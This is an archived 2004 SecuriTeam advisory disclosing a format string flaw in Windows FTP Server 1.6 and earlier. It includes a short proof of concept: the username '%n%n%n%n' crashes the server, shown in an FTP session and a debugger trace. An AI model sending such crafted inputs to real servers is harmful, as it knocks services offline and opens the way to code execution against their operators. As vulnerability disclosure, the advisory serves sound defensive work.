

# [NT] Windows FTP Server Format String Vulnerability

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-01/0037.html>

---

**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 01/11/04

To: list@securiteam.com

Date: 11 Jan 2004 11:38:38 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Windows FTP Server Format String Vulnerability

---

## SUMMARY

<<http://srv.nease.net/>> Windows FTP Server, is "a small, easy to use FTP server". A format string vulnerability in the product allows remote attackers to cause the product to execute arbitrary code.

## DETAILS

Vulnerable systems:

\* Windows FTP Server version 1.6 and prior

'wscanf' Format String Vulnerability

It seems that Windows FTP Server does not directly specify an input formatting type when receiving data from a remote client, this may potentially allow certain arbitrary positions in memory to be read from and written to if an attacker is able to send a specially crafted request to the server.

A demonstration is as follows:

First, we connect to the FTP server using the Windows built in FTP client. We specify the 'username' to be '%n%n%n%n', and the server immediately

crashes.

-----  
Microsoft Windows XP [Version 5.1.2600]  
(C) Copyright 1985–2001 Microsoft Corp.

```
C:\WINDOWS\system32>ftp 127.0.0.1
Connected to 127.0.0.1.
220 Welcome to Windows FTP Server
User (127.0.0.1:(none)): %n%n%n%n
Connection closed by remote host.
```

```
C:\WINDOWS\system32>
```

-----  
Upon attaching a debugger to the application, you can immediately see where the problem lies:

-----  
0:004> g  
(a98.9b8): Access violation – code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000004 ebx=0000006e ecx=0000000c edx=009843bb esi=0140e864  
edi=0098436e  
eip=77c3f665 esp=0140e61c ebp=0140e878 iopl=0 nv up ei pl zr na po  
nc  
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000  
efl=00010246  
\*\*\* ERROR: Symbol file could not be found. Defaulted to export symbols  
for C:\WINDOWS\system32\MSVCRT.dll –  
MSVCRT!wscanf+654:  
77c3f665 8908 mov [eax],ecx ds:0023:00000004=????????

-----  
We managed to cause the application to write to an address that it did not have access to. By varying the content of the command string supplied to the server, it seems very possible to overwrite different arbitrary areas of memory with an arbitrary value. This may include saved return addresses and information detailing user privileges, and so forth, making this flaw potentially very dangerous.

#### ADDITIONAL INFORMATION

The original advisory is available from:  
<<http://www.elitehaven.net/winftpsrvr.txt>>  
<http://www.elitehaven.net/winftpsrvr.txt>.

Securiteam: [NT] Windows FTP Server Format String Vulnerability

The information has been provided by <mailto:peter4020@hotmail.com> Peter Winter-Smith.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.